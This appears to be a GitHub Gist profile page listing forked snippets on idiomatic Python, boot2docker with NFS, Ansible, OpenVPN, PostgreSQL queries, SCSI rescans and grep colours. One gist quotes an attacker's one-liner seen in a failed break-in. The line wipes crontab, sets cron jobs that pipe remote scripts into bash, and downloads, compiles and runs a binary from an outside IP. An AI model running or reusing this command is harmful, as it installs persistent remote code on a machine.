Skip to content

Instantly share code, notes, and snippets.

View DavidPesticcio's full-sized avatar
🚀
¯\_(ツ)_/¯

David Pesticcio DavidPesticcio

🚀
¯\_(ツ)_/¯
View GitHub Profile
@DavidPesticcio
DavidPesticcio / beautiful_idiomatic_python.md
Created July 8, 2016 20:09 — forked from JeffPaine/beautiful_idiomatic_python.md
Transforming Code into Beautiful, Idiomatic Python: notes from Raymond Hettinger's talk at pycon US 2013. The code examples and direct quotes are all from Raymond's talk. I've reproduced them here for my own edification and the hopes that others will find them as handy as I have!

Transforming Code into Beautiful, Idiomatic Python

Notes from Raymond Hettinger's talk at pycon US 2013 video, slides.

The code examples and direct quotes are all from Raymond's talk. I've reproduced them here for my own edification and the hopes that others will find them as handy as I have!

Looping over a range of numbers

for i in [0, 1, 2, 3, 4, 5]:
@DavidPesticcio
DavidPesticcio / README.md
Created August 24, 2016 22:27 — forked from haggen/README.md
boot2docker on nfs

Get boot2docker working with nfs instead of vboxsf.

Tested on:

- Boot2Docker-cli version: v1.6.0
  Git commit: 9894ae9
- Boot2Docker-cli version: v1.6.2
  Git commit: cb2c3bc
@DavidPesticcio
DavidPesticcio / pedantically_commented_playbook.yml
Created December 22, 2016 02:10 — forked from marktheunissen/pedantically_commented_playbook.yml
Insanely complete Ansible playbook, showing off all the options
---
# ^^^ YAML documents must begin with the document separator "---"
#
#### Example docblock, I like to put a descriptive comment at the top of my
#### playbooks.
#
# Overview: Playbook to bootstrap a new host for configuration management.
# Applies to: production
# Description:
# Ensures that a host is configured for management with Ansible.
@DavidPesticcio
DavidPesticcio / MakeOpenVPN.sh
Last active December 30, 2016 01:34 — forked from laurenorsini/MakeOpenVPN.sh
MakeOpenVPN.sh by Eric Jodoin
#!/bin/bash
# Default Variable Declarations
DEFAULT="Default.txt"
FILEEXT=".ovpn"
CRT=".crt"
KEY=".3des.key"
CA="ca.crt"
TA="ta.key"
@DavidPesticcio
DavidPesticcio / gist:0b4c1ba71e57ea769c99e8f24d4f1126
Created February 11, 2017 02:23 — forked from ismasan/gist:5647955
Some asshole tried to access my servers and run this (they couldn't)
crontab -r; echo \"1 * * * * wget -O - colkolduld.com/cmd1|bash;wget -O - lochjol.com/cmd2|bash;wget -O - ddos.cat.com/cmd3|bash;\"|crontab -;wget http://88.198.20.247/k.c -O /tmp/k.c; gcc -o /tmp/k /tmp/k.c; chmod +x /tmp/k; /tmp/k||wget http://88.198.20.247/k -O /tmp/k && chmod +x /tmp/k && /tmp/k
@DavidPesticcio
DavidPesticcio / gist:4183e951df084992bffa1421db442ab3
Created February 20, 2017 19:53 — forked from wikimatze/gist:9790374
Github Two-Factor Authentication Failed For HTTPS

I heard from GitHub Two-Factor Authentication](https://github.com/blog/1614-two-factor-authentication) nearly a couple of days ago when I was reading my RSS feed. I enabled it and couldn' push to any of my repositories anymore. Learn in this blog post how to fix it.

Two-Factor Authentication

"Is a process involving two stages to verify the identity of an entity trying to access services in a computer or in a network". Github solves this authentication with sending an SMS to a device which wants to push to their platform.

Enabling Two-Factor Authentication

@DavidPesticcio
DavidPesticcio / postgres_queries_and_commands.sql
Created September 22, 2017 12:02 — forked from rgreenjr/postgres_queries_and_commands.sql
Useful PostgreSQL Queries and Commands
-- show running queries (pre 9.2)
SELECT procpid, age(query_start, clock_timestamp()), usename, current_query
FROM pg_stat_activity
WHERE current_query != '<IDLE>' AND current_query NOT ILIKE '%pg_stat_activity%'
ORDER BY query_start desc;
-- show running queries (9.2)
SELECT pid, age(query_start, clock_timestamp()), usename, query
FROM pg_stat_activity
WHERE query != '<IDLE>' AND query NOT ILIKE '%pg_stat_activity%'
@DavidPesticcio
DavidPesticcio / gist:7856bcf78b85ecdfcceb5085ddc1e0bd
Created September 28, 2017 19:38
MTU issues in VPN connections
https://community.spiceworks.com/topic/217130-mtu-issues-in-vpn-connections
Question:
Hello,
I often set up vpn tunnels on different network devices(cisco, juniper) and one day I read an info about MTU:
because of perfomance issues its better practise to reduce MTU size on tunnel interfaces/egress interfaces of routers.
How this is affect perfomance?
@DavidPesticcio
DavidPesticcio / scan-scsi.sh
Last active September 28, 2017 19:40
Linux: scan and activate new drives
#!/bin/bash
echo "Before scan:"
dmesg | awk '/scsi/ && /Direct-Access/'
for i in $(ls -d /sys/class/scsi_host/*); do echo "- - -" > $i/scan; done
echo "After scan:"
dmesg | awk '/scsi/ && /Direct-Access/'
@DavidPesticcio
DavidPesticcio / gist:4246372962f5ee9c4677b961aacaff56
Last active September 28, 2017 19:42
GREP: Customise the colour of matches.
Find GNU grep results quicker with a bit of colour!
http://www.arwin.net/tech/bash.php
https://linuxaria.com/pills/coloring-grep-to-easier-research
Add this to your shell customisations file with your choice of colours:
export GREP_OPTIONS='--color=auto'
export GREP_COLOR='1;31;44'